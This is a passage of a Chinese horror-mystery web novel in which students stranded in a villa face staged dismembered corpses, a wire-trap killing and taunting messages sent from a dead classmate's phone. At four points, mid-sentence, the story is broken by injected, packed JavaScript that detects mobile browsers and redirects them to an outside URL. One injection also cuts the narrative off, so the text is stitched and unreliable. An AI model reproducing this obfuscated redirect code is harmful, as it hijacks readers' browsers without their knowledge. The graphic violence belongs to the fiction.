沈安宴指尖在沙发上轻轻敲了敲,思索片刻后回答:“其实不难想,我觉得很大概率,是别墅里那个工作人员。” “而且我看过赵西西的尸体,他的脖子上被割出了一个窟窿,这是只有刀具一类的东西才能弄出来的。别墅里的人,只有那位工作人员最容易拿到刀不是吗?” 林霜点点头,认同道:“用排除法也能排出来,选手们和指导老师又没有作案动机,就剩下那个工作人员有可能了。” 贺晴天补充道:“我们第一天来时……哎,其实也就是昨天,遇见过那个人。他当时抱着一个很沉的袋子,现在想一想,里面有可能就是斧头或者刀具一类的东西。” 经对方这么提醒,沈安宴也想起了当时发生的事,不禁有些怅然:“是啊,拢共只过了两天,但总觉得像过了好几个月一样。” 贺晴天道:“所以思路很清晰了。昨天我们来时吊桥还好好的,今天出去时桥就断了。信号是从昨天开始就失灵了。那么根据我的推测,那位工作人员应当是在我们来之前,就弄坏了网线。然后等我们睡着后,进行了破坏吊桥和杀害赵西西这两件事,先后顺序还无法判定。” 这番推理总体上讲还算合情合理,不过对目前的现状来讲依旧没什么用,最多只能帮大家理清思绪。 周天道:“那人到底怎么想的,无冤无仇的,为什么要杀人。” 林霜捏了捏眉心:“谁知道呢……” 她话音刚落,就听见一道似乎是重物落地的声响从餐厅里传来。 “咚——” 那东西应当是个球体,因为接下来还响起了一阵物体在地面滚动的声音。 “咕噜、咕噜、咕噜……” 大家的目光一时间都聚集在了餐厅门口。 只见一个黑乎乎的东西从门口滚了出来,它滚过的地方还留下了一道长长的红色痕迹。 到近处了,大家才看清,那黑色是上面毛发的颜色,红色是从断口处流出的液体。 那是失踪选手的头颅。 “咕噜、咕噜、咕噜……” 45. 晚餐 沈安宴是第一个看清的。 她在意识到那是什么的瞬间,几乎立刻转身捂住了身后顾辞江的眼睛。 顾辞江只看了一个模糊的影子,眼前的视野就被一只手遮住了。 耳旁响起男生们惊恐的尖叫声。 他在那一瞬间立刻意识到了这滚出来的东西是什么,于是配合地闭上了眼睛,朝沈安宴道:“我闭上眼睛了,你不用管我,过去处理吧。” 沈安宴低头看了他一眼,确认过对方的确没被吓到后,才起身去餐厅看了。 跟她一起的还有林霜,贺晴天和周天留在原地代替二人警戒的任务。 那颗头颅的确有些可怖,沈安宴纠结了一下,觉得直接踢回餐厅多少有些不礼貌,正想着要么用桌布把它盖住吧,抬头向餐厅看去时,就见里面的长桌已经换了一个样子。 早晨的餐食已被撤了下去,桌上换了新的黑色桌布,椅子整整齐齐地摆放成一排,每个座位前方都放上了餐具,碟子里盛着“食物”——手、脚、四肢,中间的大盘子里则放着身体。 窗外已经暗了下来,餐厅里没有开灯,烛台幽幽地燃烧着,桌角放着玫瑰,若是忽略那些“食物”,的确是一场浪漫的烛光晚餐。 林霜转过身,走时还没忘记拉上沈安宴。 沈安宴被对方拉得一个趔趄,好险才稳住了身子。她忙喊道:“哎哎,等一下,我找个东西把这个头盖住。” 林霜深呼吸一口气,咬牙道:“那你快点——” “我想吐。” 沈安宴随手拉了桌上的几只毛巾,将门口的头颅盖好,方才陪林霜往厕所去了。 林霜被那一幕恶心得头昏眼花,但今天一整天没吃什么东西,吐也吐不出来,只得干呕几下,又用凉水洗了把脸,将胃里那股恶心劲儿压下去后,才和沈安宴一起回了客厅。 贺晴天从两人刚才的表现中已猜出了几分,但等听到具体的情况后,仍然感到了一阵恶寒。 几个男生更是被吓得不轻,只有顾辞江还勉强能保持面上的镇定。 贺晴天冷静过后,仔细思索了一番这件事,提出了自己的疑问:“这没道理。他是怎么布置的这一切?餐厅离这里并不远,如果那个人要……弄出那些东西的话,我们在这里待了一天,肯定是能听到的。” 周天道:“要么就是他有什么特异功能,要么就是我们都聋了,要么就是……这场‘晚餐’,是在我们早上离开别墅后做成的。” 贺晴天扶了扶额:“晚餐什么的还是算了吧。” 林霜看向红发男,拧眉问道:“你真不记得王周是什么时候消失的吗?” 红发男缩了缩脖子,全无初来时那股嚣张的气焰,六神无主地回答道:“我真的想不起来了,我太害怕了,一直到回别墅门口的时候才发现他不在了……” 贺晴天缓和下语气,温声问道:“那你再仔细想想,印象里最后一次看到他是在什么时候?” 红发男抱着脑袋,费力地回忆着:“应该……应该是到吊桥那里……我应该和他说上过一句话……然后……然后看到吊桥断了,我太害怕了,之后就全不记得了……” 沈安宴道:“那就能对上了,如果王周是在那时候就失踪了,那么的确来得及在餐厅里布置好这一场‘晚餐’。” 贺晴天:“……我们一定要把餐厅里那堆玩意儿称呼为晚餐吗?” 沈安宴轻咳一声:“总好过叫碎尸现场吧。” 周天道:“不过这样说起来,那凶手也太可怕了,能在我们这么多人之间神不知鬼不觉地抓走一个人。” 贺晴天心情也有些凝重,不过如今这份凝重对她们的现状没有任何好处,她便没让气氛僵持在这里,而是找起了其它话题:“对了,虽然和外界联系不了,那我们内部可以联系吗……” 沈安宴道:“能,我之前不是还给你发过信息来着。” 她拿出手机,顺手给对方又发去一条信息,随后问道:“你看看,能收到吗?” 贺晴天笑道:“能。” 这勉强算是一个好消息,大家心情微微松快了一些。 贺晴天给指导老师发去信息,大概说了下午在别墅里发生的事,让对方不用再继续搜寻王周的下落,可以回来了。 指导老师应该一直关注着手机信息,很快回复了“收到”,并告知自己马上回来,让她们注意安全。 指导老师回来看过餐厅的情况后,很明显地扶额叹了口气。 她捏了捏眉心,同选手们解释道,尸体一直在屋子里放着是不行的,久了可能会滋生传染病,还可能会生虫或是引来老鼠蟑螂。所以她之后要把尸体想办法弄到外面去,埋进土里,再用雪盖住。 指导老师态度温和地问道:“有同学愿意来帮忙吗,当然,这不是强制性的,不愿意也没关系,老师可以理解。” 出乎意料的,女生们全都愿意,男生里顾辞江也表示愿意来帮忙。 指导老师原本有些沉重的心因为这件事稍稍松快了些,她笑着说道:“用不了这么多,那我就随便挑几个人了。” 她最后让林霜留下陪男生们待在客厅,剩下的女生则和她一起去处理尸体。 好在两处尸体附近就有窗户,几人将尸体从窗上扔下后,又将血水简单处理干净。 指导老师从别墅里找出几把铲子,带着三人出了屋子,将扔出去的尸体运到后山森林里,挖坑填埋好后,又铲了不少雪盖在上面。 “这下差不多了。” 指导老师松了口气,再次确认了一遍跟出来的人数,见没有少人后,方才宣布道:“好了,我们可以回去了。” 忙活完这一趟,时针已经走到了十点。大家在客厅里汇合后,指导老师提出了建议:“今晚我们二到三人住一起,都尽量住得近一些。保持信息通畅,有什么事随时通信联系。” 耳坠男闻言忙问道:“老师,为什么要分开住,大家一起待在客厅不行吗?” 指导老师解释道:“房间至少是一个封闭的空间,比这里更加安全。而且凶手之前既然能在我们外出时带走一个选手,虽然还不知道他是怎么做到的,但还是要小心为上。睡在客厅太危险了。” 耳坠男咬了咬嘴唇,仍有些不死心:“那我们可以住一起……” 林霜揉揉眉心,出声反驳了这一提议:“客房本来就很小,住三个人都是极限了。我们这些人都住进去,还没被凶手杀死就要被憋屈死了。” 指导老师拍拍手:“好了,已经很晚了。大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530945|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迅速分一下组吧。” 贺晴天看向沈安宴,低声问道:“你和顾辞江一起?” 沈安宴道:“嗯,那你……” 贺晴天道:“没事,我去找周天一组。不过你们只有两个人,一定要小心一些。” 和贺晴天说好后,沈安宴便凑到顾辞江身边,很快就和对方商量好了今晚一起住。 眼见对面五人已经商量好了分组,并且显然不愿意再有人插进来,耳坠男犹豫一下,出了这种事,自然是希望和自己同住的人越多越好,他便换上了一副温柔可亲的面色,朝梁小诺笑道:“小诺,你来和我们一组吧?” 梁小诺身子一抖,浑身上下都写满了抗拒,他刚想要拒绝,耳坠男却已经上前揽住了他的胳膊,将他往自己和红发男这边带了带。 沈安宴有些看不过去,出声朝梁小诺问道:“哎,我们这里还可以再加一个人,你过来吧。” 贺晴天也道:“我可以和你一组。” 梁小诺闻言如蒙大赦,当即就想挣脱耳坠男的束缚往对面去,却被对方狠狠一扯。 耳坠男凑到梁小诺耳边,用只有他们二人能听到的声音迅速说了一句什么。 梁小诺的脸色白了一瞬,立刻低下头,朝对面道歉:“我……我不过去了……我和他们一组就好。” 沈安宴见状皱了皱眉。 贺晴天还想再说什么,耳坠男却已亲亲热热地挽住了梁小诺的胳膊,和红发男一起将对方夹在中间,哥仨好似的同指导老师说: “老师,我们快上去吧。” 小组就这么分好了,指导老师带领几人上了楼,大家选了离赵西西最远的客房,进屋时老师还让同学们先检查一遍,确认过房间里没有什么危险后,才放心让大家关门休息了。 ———— 之前一群人待在一起忙忙碌碌时还不觉得,如今回了房间,只有二人独处时,顾辞江才慢慢感觉到了一点不好意思。 毕竟事发突然,结伴同住是出于安全考虑的必要选择,这时候也顾忌不了太多。他又是一个边界感很强的人,虽然心里明白特殊情况特殊对待,但依旧有些抗拒和不相熟的人住在一起。 好在沈安宴主动来找了他,对方于他而言并不在“不相熟的人”这个范围内,如果只有他们两个人一起住,那倒是可以接受的结果。 当时他是这么想的,但真住在一起后,对两起凶案的恐惧慢慢褪去,其它情绪缓缓复苏,他才后知后觉地感到了一些和异性同住的害羞。 “你要洗澡吗?”沈安宴忽然出声问道。 顾辞江微微一怔,反应过来对方在问什么后,耳垂“唰”一下红了。 好在房间里的灯光并不明亮,令这抹红没有太显眼。 他难得有些磕巴,半是紧张半是诧异地问道:“什……什么?” 沈安宴的语气却是一片坦荡:“我刚才出去挖了半天土,身上太脏了,洗澡的话可能要多洗一会儿,所以想着让你先洗。” ……这样。 顾辞江轻咳一声,将刚刚心中升起的那点奇奇怪怪的念头抛走了。不过想来也是, 对方确实不是那种人。 他点点头,道了声“我很快就好”,就拿上换洗衣物往浴室里走了。 46. 过渡 顾辞江将衣服放好,确认不会被从花洒流下的水弄湿后,才走到洗漱池边用冰水冲了冲脸。 方才因乌龙闹出的热意散去后,他才准备脱掉衣服洗澡。 目光不经意间触及角落的浴缸,顾辞江手上的动作微微一顿,白天在客房里看到的那一幕不可控制地在脑海中浮现出来。 弥漫着血水的浴室,浴缸中瘦弱的身体,还有那个狰狞可怖的血窟窿…… 恐惧瞬间席卷上心头,狭小的浴室陡然间变得鬼气森森起来。他慌忙走到浴室门口,“唰”一下将门打开。 沈安宴正坐在角落的椅子上,听到浴室门口的响动,目光下意识转了过来,注意到对方面色不是很好,她立刻起身,大步朝这边走了过来。 “怎么了?”沈安宴握住他的手,刚触及对方的皮肤,便觉一片冰凉。 她轻轻皱了皱眉,将顾辞江带到床边,扶着对方坐下后,又轻轻拍了拍他的背,才开口询问道:“发生什么了?别害怕,可以慢慢和我说。” 顾辞江闭了闭眼,勉强从恐惧中缓过神来,轻声解释道:“没什么……只是想起了今天早上发生的事,有些害怕……” 沈安宴明白了,她安慰道:“没事的,我在这里呢,要是实在怕的话就不洗了。” 顾辞江犹豫片刻,毕竟今天奔波了一天,身上多少都有些脏了,他又和有好感的女生共处一室,实在不愿意在卫生问题上潦草应付。 顾辞江缓了口气,摇摇头说道:“没事,不是很怕。我缓缓再去。” 沈安宴没有强求,她思索片刻,注意到房间墙壁上的装饰品还有毛线球,脑袋里灵光一闪,她上前挑了一只蓝色的,将线团拆开,剪下一条足够长的毛线,一端绑在了自己手腕上,另一段则绑在了顾辞江手腕上。 顾辞江见状微微一怔。 “这是做什么?” 沈安宴将蓝线两段系好,笑着说:“现在我们两个连起来了,你要是害怕,就拉一拉它。怎么样,这样可以好一些吗?” 顾辞江忍不住笑了笑,他点点头:“嗯,好些了。” 洗过澡后,沈安宴走到衣柜前,从里面抱出备用的被褥。 顾辞江正坐在床边看手机,见状疑惑道:“你拿那些做什么?” 沈安宴道:“打个地铺。” 顾辞江这才想到,房间里只有一张床,沙发也是单人沙发,的确需要考虑两个人怎么睡觉的问题。 虽然地板上铺有毛毯,而且暖气也够足,打地铺应该不会太难受,但不管怎么说,听着好像都有点可怜。 顾辞江犹豫片刻,还是阻止了对方:“不用了,我们可以一起睡。” 哦豁,那真是求之不得。 沈安宴心道,不过面上不好表现得太过明显,她便很不走心地客套了一下:“可以吗,你不介意?” 顾辞江道:“没事的,而且今天发生了这么多事,一起睡更安心些。” 沈安宴顺着这台阶“呲溜”一下就下去了:“那好,要是半夜我抢你被子,你不用不好意思,直接抢回去就行了。” 顾辞江忍不住笑了一下,不过等两人躺在床上盖好被子后,他才后知后觉地想起,不对,柜子里不是有备用被子吗?而且对方打算打地铺的时候不是都把那床被子拿出来了吗? 但现在再将这个问题提出似乎又有些尴尬,他干脆闭上眼,不再多想这件事了。 ———— 顾辞江的生物钟一向很准,尽管昨天睡得并不早,他依旧在七点钟准时醒了过来。 他睡的这一侧靠近阳台,睁眼时可以看到从窗帘缝隙间透出的晨光。 已经到早上了。 他下意识准备起身,就感觉到了身上的束缚。 腰腹间和腿上有些沉,尽管隔着衣料,依旧能感到肌肤相触时的温热,顾辞江原本还残存着的一点睡意瞬间没了。 沈安宴的身体紧贴着他的后背,对方两只胳膊以一种格外亲昵的姿态环住了他的腰,一直腿还搭在了他的身上。 ……顾辞江闭了闭眼。 直接起床走人,还是装不知道等对方先起,这是个问题。 他心中天人交战一会儿,最终选择了一点一点从对方的禁锢中移开,尽量不吵醒对方,然后轻手轻脚地起了床。 等他在卫生间换好衣服洗漱过后,出来时就见沈安宴也醒了过来,正一边揉眼睛,一边将手机的震动模式关掉。 她看起来似乎有些没睡够,神色间仍带了点困倦,直到看见顾辞江,才勉强打起了点精神,道了声:“早啊,辞江。” 这一幕实在特别,像是情人间才会有的亲昵时刻。顾辞江耳垂又微微红了,他含糊地应了一声,想了想也回应了一句“早……” 结果这句“早安”还没说完,他就见对方半合着眼,摸索着从旁边的椅子上拿过衣服就准备换了。 顾辞江忙道:“哎,等等……” 他一边说,一边红着耳朵转过身,快步走进了浴室。 沈安宴的声音在门外响起:“怎么了?” 顾辞江道:“没什么……那个,你衣服换好了给我说一声。” 沈安宴换好衣服后,方才后知后觉地想起,哦,她和顾辞江现在还没恋爱呢,刚才似乎确实有些不太合适? 她轻咳一声,难得有些唐突了纯情少男的不好意思,扬声朝浴室里喊道:“我好了,你可以出来了。” 顾辞江这才从浴室里走了出来。 沈安宴下了床,左看右看却没见着拖鞋,不禁疑惑地绕着床找了一圈,才在另一边的地毯上看到了自己的鞋子。 她一边穿一边奇怪地嘀咕道:“鞋怎么跑这里来了……” 说到这里时,她忽然反应过来什么,朝自己下床的位置看了一眼…… 没记错的话,她醒来时躺的地方,原本应该是昨天顾辞江睡觉时的位置。 难怪下床后没找着自己的拖鞋呢。 沈安宴有点尴尬地咳嗽一声,朝顾辞江看去:“抱歉……我睡相不太好,昨晚没打扰到你吧?” 顾辞江睁眼说瞎话:“没,我睡得挺好的。” 其实也不算瞎话,除开早上发现自己是在对方怀里醒来的这一点冲击外,他的确睡得挺好。 那就好。沈安宴松了口气,到浴室洗漱过后,就和顾辞江一起出了门。 指导老师坐在走廊上,眼底有淡淡的乌青。听见门声响动,她迅速起身,转头朝声源处望去,见是两个学生出来了,方才重新坐回了椅子上。 “这么早?”指导老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541561|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着打了招呼。 沈安宴点点头,见对方神色困倦,忍不住问道:“老师,您一晚上都在这儿坐着吗?” 指导老师点点头:“不然放心不下你们。” 沈安宴道:“您歇一会儿吧,我替您守着。” 指导老师没有推辞,她的确很困了,同沈安宴嘱咐过等大家来齐后记得叫她醒来,就直接躺在走廊的地毯上睡去了。 看得出来对方是真的累了,脑袋刚一着地,就直接睡了过去……或者是累晕了过去也有可能。 沈安宴让顾辞江回房间取了只枕头出来,帮忙垫在了老师头下,她动作放得轻,没将对方吵醒,不过就算动作重点其实也是吵不醒的,毕竟指导老师睡得相当死。 做完这些后,沈安宴想了想,拿出手机点进竞赛群,编辑了起床后可以出来集合,指导老师就在走廊守着的信息。 这条信息刚发出去没一会儿,就有一间房门打开了。贺晴天打开门后没着急出来,而是先朝走廊观察了一会儿,直到看见沈安宴她们后,才和另两个舍友一起走了出来。 “早……老师怎么睡在地上?”贺晴天问道。 沈安宴解释道:“她昨天在走廊守了一晚上,我们两个刚出来的时候她才休息,应该是连回房的精力都没有了。” 想来也正常,毕竟昨天早上指导老师先带她们试图从后山离开,之后又为了找失踪学生在外面耗了一整天,回来后连歇都没歇一下,又要处理尸体,又要守夜,铁人都要累倒了。 在梁小诺他们三人出来后,尽管人已经齐了,大家谁都没有把老师叫醒来。 因此当指导老师睡醒睁开眼时,第一眼看到的就是学生们围着她坐了一圈,正安安静静地看着她睡觉。 指导老师:……? 真是好悬没给自己吓死了。 她揉了揉眉心,等彻底清醒过来后,才问道:“我睡了多久?” 沈安宴道:“不久,老师,你才睡了三个小时。” 指导老师道:“足够了,现在咱们先去客厅,你们乖乖待在那里,我今天去看一下别墅里的网线……对了,你们吃早饭了吗?” 见众人摇头,指导老师搓了把脸,理了理思路,又问道:“你们那里还有多少吃的?” 沈安宴道:“呃……我来的时候没带吃的东西,都是饿了现买的。” 周天道:“我……带了一包咖啡,还有一包茶叶。” 剩下人里,林霜带了一盒巧克力,梁小诺他们三人只剩零零散散一点小吃,连一顿饱饭都凑不够。 听起来都不怎么乐观,指导老师的神色不禁凝重起来。 等轮到最后二人,贺晴天道:“我包里还剩两袋面包,和一箱牛奶,只喝了一盒。” 顾辞江道:“我带了一箱速食饼干,还有三包糖,都没拆封。” 指导老师原本忧愁的神色在听到二人的话后,立刻转忧为喜,笑着说道:“好,那我就不愁了。” 沈安宴震惊道:“你们带了那么多吃的吗?还有晴天,你那么小一个行李箱,竟然还装了一箱奶?” 贺晴天笑道:“都说了我很会收纳嘛。” 顾辞江解释道:“因为怕吃不惯这边的饭,所以就多备了些吃的,没想到会派上用场。” 47. 丝线 贺晴天带的食物保质期更短,她便先将自己的牛奶面包分了出来,解决了大家今天的早餐问题。 指导老师带众人到了客厅,一边吃东西一边安抚道:“大家目前不用太过担心,竞赛组每七天会和集训点进行一次对接,现在已经过了两天,我们最多只需要在这里待上五天,就能等到外界的联系了。” 这也是指导老师在发现从后山走行不通后,能果断放弃转而选择待在别墅里等待救援的原因。 大家心里有了底,原本紧绷的精神也放松了些。 吃过早饭,指导老师嘱咐道:“我去查一下网线,你们待在客厅,还是那句话,不要落单,尽量待在一起,记住了吗?” 贺晴天道:“老师,您一个人没问题吗,我和您一起吧。” 指导老师想了想,点头道:“也好。” 指导老师带着贺晴天离开了,剩下人则聚集在了客厅。 耳坠男和梁小诺紧紧挨着,二人凑在一起轻声交谈着些什么,一晚上过去,他们的关系竟变得好上了许多。 倒是红发男被冷落在了一旁,没有和另外两人说过话。 一直到了该吃午饭的时间,指导老师和贺晴天依旧没回来。 沈安宴问道:“有人饿吗?” 大家坐了一上午,能量消耗得并不多,因此没人提出要吃东西。 倒是红发男神色有些纠结,看着像是想说什么的样子。 沈安宴看向对方,问道:“怎么了,有什么事情吗?” 红发男道:“那个……我想去一趟卫生间。” 沈安宴点点头:“我和周天跟你一起去,你再找个男生陪你。” “啊?”莫名其妙被点到的周天有些摸不着头脑,不过还是从沙发上站了起来,做好随时出发的准备。 红发男朝耳坠男看了一眼,后者似乎有点不情愿,但还是站了起来,说道:“走吧。” 四人一起朝卫生间行去,别墅一楼的卫生间有两个,专供男士使用的卫生间门口画着一个打领结的小人。 到了地方,沈安宴和周天停在了门口,沈安宴道:“要是有什么事,你们在里边喊一声就行。” 红发男应过好,和耳坠男一起进去了。 进到卫生间里面,就只剩他们二人了,耳坠男挂起了脸,催促道:“你快点儿吧,解决完赶紧走。” 自从第一场凶杀案发生后,耳坠男和小团体的关系就不怎么好了。刚开始他表现得还不明显,但当原本的团体里就剩下他和红发男二人时,这份疏远就藏无可藏了。 红发男没说什么,沉默着去上厕所了。耳坠男则厌烦地“啧”了一声,背过身走到门口去等对方了。 卫生间不大,一角放着马桶,斜对角则布置着洗手台。耳坠男在靠近洗手台的地方站着,周围安静得不像话,他待了一会儿就觉得有些渗人,于是不耐烦地问了一声:“你好了没啊?” “啪叽——” 一道奇怪的声音响起,耳坠男感到脸颊似乎沾上了什么奇怪的东西,有些温热。 他抬手去擦,擦完将手拿到眼前看去时,却发现那是一抹血。 血? 他有些茫然地转动了一下目光,余光正好扫到了镜子上,就见里面映出了一具断了头的尸体。 …… “啊啊啊啊——” 卫生间内响起一道惊恐的尖叫声。 沈安宴迅速掀开帘子走了进去,就见耳坠男瘫在地上,马桶前则挂着红发男的尸体。 他的身子以一种诡异的姿态立着,像是一只被吊起的布娃娃,脖子被割开了大半,脑袋和身体藕断丝连地接在一起,鲜血则从脖子间汩汩涌出。 周天也跟了进来,见到这一幕震惊道:“怎么回事?” 沈安宴止住对方想要上前查探的动作,她一步一步小心地向前挪动着,每挪一步就要谨慎观察一番周围,才会接着朝前走一些。 尽管这样,在靠近红发男时,她脸侧依旧不慎被划出了一道小口子。 沈安宴轻轻“嘶”了一声,往后退了一点,接着又集中精神观察了周围好一会儿,才发现了红发男的死因。 对方脖子周围缠绕着一圈细丝,细丝末端连接着马桶盖,结成了一道精巧的机关。当有人把马桶盖掀开时,这些细丝就会立刻绷直,其锋利程度竟可以瞬间割破一个人的脖子。 这细丝不知是用什么做成的,柔韧而锋利,还极易隐藏,这也是沈安宴方才没有立刻发现,反而被它划伤的原因。 她皱了皱眉,重新退了回去,将这一发现同身侧二人讲了。 周天倒吸一口凉气:“不是,这也太危险了吧,我们之后不仅要防着那个变态杀人狂,还要防这这屋子会不会有哪里突然冒出什么要人命的丝线?” 沈安宴叹了口气: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾辞江挪开了按着对方伤口的手,沈安宴也不得不遗憾地转过头,看向那两道尖叫的声源处——是耳坠男和梁小诺。 她问道:“怎么了?” 耳坠男道:“你……你们快看手机……群里的消息……” 几人闻言低头去看,沈安宴按亮屏幕,新消息立刻弹了出来—— 赵西西:不是说在走廊集合吗,我怎么没看到你们啊? 48. 来信 客厅中一片死寂。 唯有那个不知是人是鬼的号码还在持续不断地发送着信息。 赵西西:我只看到了王周,你们其他人呢? 赵西西:怎么还不出来? 赵西西:呀,张红来了,我看到了他了。 赵西西:人快齐了,就差最后一个了。 赵西西:^_^ 消息到这里就结束了,只剩下那个代表着微笑的符号留在最下方,透着点森森的鬼气。 梁小诺看起来快哭了,他将手机丢在一边,不住地打着寒颤:“有鬼……鬼……” 耳坠男也惨白着脸色,身子微微发起了抖。 林霜皱着眉,将那几条新消息重新看了一遍。虽然这些话乍一看有些耸人,但其背后包含的信息量可不少。 她抬头朝沈安宴问道:“我们昨天处理赵西西尸体的时候,你有注意到他的手机去哪里了吗?” 沈安宴摇摇头:“我没看到。” 林霜道:“我也没看到,如果贺晴天和老师也没拿他的手机,那么他的手机最有可能在凶手那里。而这些消息,很显然,大概率也是他发的。” 有林霜一番分析,这些装神弄鬼的恐吓信息也没那么吓人了,梁小诺的脸色好了一点。 沈安宴道:“至于这些信息里提到的人,第一个是王周,第二个是张红……他所谓的看见的人,就是被杀死的人。” 耳坠男的脸抽动了一下,表情看上去很是怪异。 周天道:“那个‘人快齐了,就差最后一个了’是什么意思,怎么,他还要再杀一个人?” 周天这句话刚落,大家的目光不自觉就聚集在了耳坠男身上。这实在是下意识的举动,毕竟发消息的人说要凑齐四个,再结合目前为止死掉的人,难免令人联想到这需要凑齐的四个人会不会是第一天来时耳坠男他们的小团体。 耳坠男呜呜咽咽地哭了起来:“我害怕……我害怕……你们帮帮我,我不想死……” 林霜叹了口气:“好了,只是猜测,说不定发消息的人只是在装神弄鬼,看老师回来怎么说吧。” 日头西斜的时候,指导老师和贺晴天终于回来了。 二人进门时的脚步有些匆忙,等到了客厅,指导老师看着又少了一人的队伍,忍不住叹了口气。 贺晴天跑了一天,此时见到沙发立刻坐了下来,同时解释道:“手机不知道怎么回事,突然失灵了,我们快到门口才收到了你们上午发过来的信息。” 指导老师道:“网线被砍断了,我试了一天,还是没能修好。这条路估计是走不通了。” 她捏了捏眉心,将这条坏消息轻轻揭过,转而谈起了接下来的安排:“消息我差不多都知道了,大家不要害怕,咱们一个一个解决。” “我的疏忽,之前没有考虑到死者的手机可能已经被凶手拿走了,咱们重新建一个群,之后有什么事就在新的群里说。晴天,你来建群吧。” 贺晴天应了一声“好”,低头拿出手机去建群了。 “第二件事,大家对丝线不用太恐慌,这样的东西想造出来不容易,数量肯定没有太多。不过顾虑还是需要顾虑一下的,我本来认为大家白天待一起会更安全,但现在看来,在别墅里走动还是有风险的。从今天起,大家之后几天都待在客房里,有什么事通过手机联系,有问题吗?” 大部分人都没有异议,只有耳坠男脸上浮现出一抹忧虑,忍不住问道:“老师,那我……” 指导老师安抚道:“我正要说,孙坠,梁小诺,你们两个之后和我一起住,所以不用怕。” 这句话仿佛一颗定心丸,耳坠男和梁小诺立刻安心了。 指导老师道:“好,等晚上大家回房间后,切记先检查一遍房间里有没有藏人,或是有哪里被布置了那些丝线。如果都没有问题,就锁好门窗,好好待在里面,如无意外尽量不要外出。” 将该说的说完后,指导老师便点了沈安宴和自己一起去处理红发男的尸体,期间又将绞死红发男的丝线拍了照,发到了新群让大家认一认。 处理好了尸体,又确认过客房没有问题后,回房间前,指导老师让大家把各自的食物拿出来集中到一起,又平均分成了七分。每人得三盒牛奶,五包饼干,还有零零散散的小吃。 指导老师那里还有些面包,又给每个人分了一袋。 紧着一点吃,撑过这四天还是没问题的。 贺晴天意识到不对,疑惑道:“老师,不应该分成八份吗,你怎么没有给自己留?” 指导老师道:“不用担心,我有我的考虑。” 她没再多说,挥挥手让大家回房去了。 ———— 洗漱过后,沈安宴坐在床沿,低头摆弄着手机,依旧是无信号。 她轻轻叹了口气,将手机放在一边,没再多看了。 顾辞江刚洗完澡出来,他穿着印有小棕熊卡通图案的睡衣,皮肤被浴室的水汽蒸得白里透粉,头发湿漉漉的,发梢挂着晶莹的水珠。 顾辞江擦着头发,见沈安宴神色郁闷,便挨着对方在床上坐下了。 “在想什么?”他轻声问道。 沈安宴解释道:“没什么,就是总觉得有哪里怪怪的。” 顾辞江安慰道:“别担心,今天已经是第三天了,再等四天就能离开了,不会有事的。” 沈安宴也不愿让对方为自己忧心,于是顺着他的话头往下聊去:“等出去了我一定要好好吃一顿,天天牛奶面包的,我都快被吃成……呃,有什么动物是只吃牛奶面包的吗?” 顾辞江忍不住弯起眼笑了笑:“嗯,好像没有?不过等出去后,你可以来我家,想吃什么都有。” 沈安宴高兴道:“那我就不客气了!” 二人聊了一会儿,就准备熄灯睡觉了。睡前沈安宴再次检查了一遍门窗是否都锁好了,又在门把手上倒扣了一只玻璃杯,再用椅子将门抵住。做完这些后,她方才躺回床上,和顾辞江一起睡了。 ———— 夜色渐深,别墅里安静极了。 梁小诺的呼吸已逐渐平稳下来,显然已经睡着了。指导老师则打了地铺睡在地毯上,听声音也已经入睡了。 耳坠男躺在床上,却怎么也睡不着。白天的恐吓信息像一朵阴云笼罩在他的心头,让他觉得死亡随时可能会降临在他身上。尽管有老师和同伴陪着,他依旧放不下心。 头侧响起一阵微弱的震动,这是收到新消息的提示音。已经这么晚了,会有谁在这时给他发信息呢? 耳坠男感觉全身的鸡皮疙瘩都要冒出来了,他一瞬间如坠冰窟,甚至没有勇气去看一眼那些新消息。 手机仍在震动着,一下又一下,像是催命的丧钟。 耳坠男颤抖着手,慢腾腾将手机拿起,他做了很久的心理准备, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546318|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才鼓足勇气点进了聊天界面。 在看到新发来的消息时,他的眼睛一瞬间睁大了,空着的一只手死死捂住了嘴巴,耳坠男紧紧盯着屏幕上的那些文字,直到不再有新消息弹出,他才熄灭了屏幕,又轻而快地将手机塞回了衣兜。 耳坠男安静地躺在床上,他试探着活动活动手脚,随后轻轻推了推梁小诺。 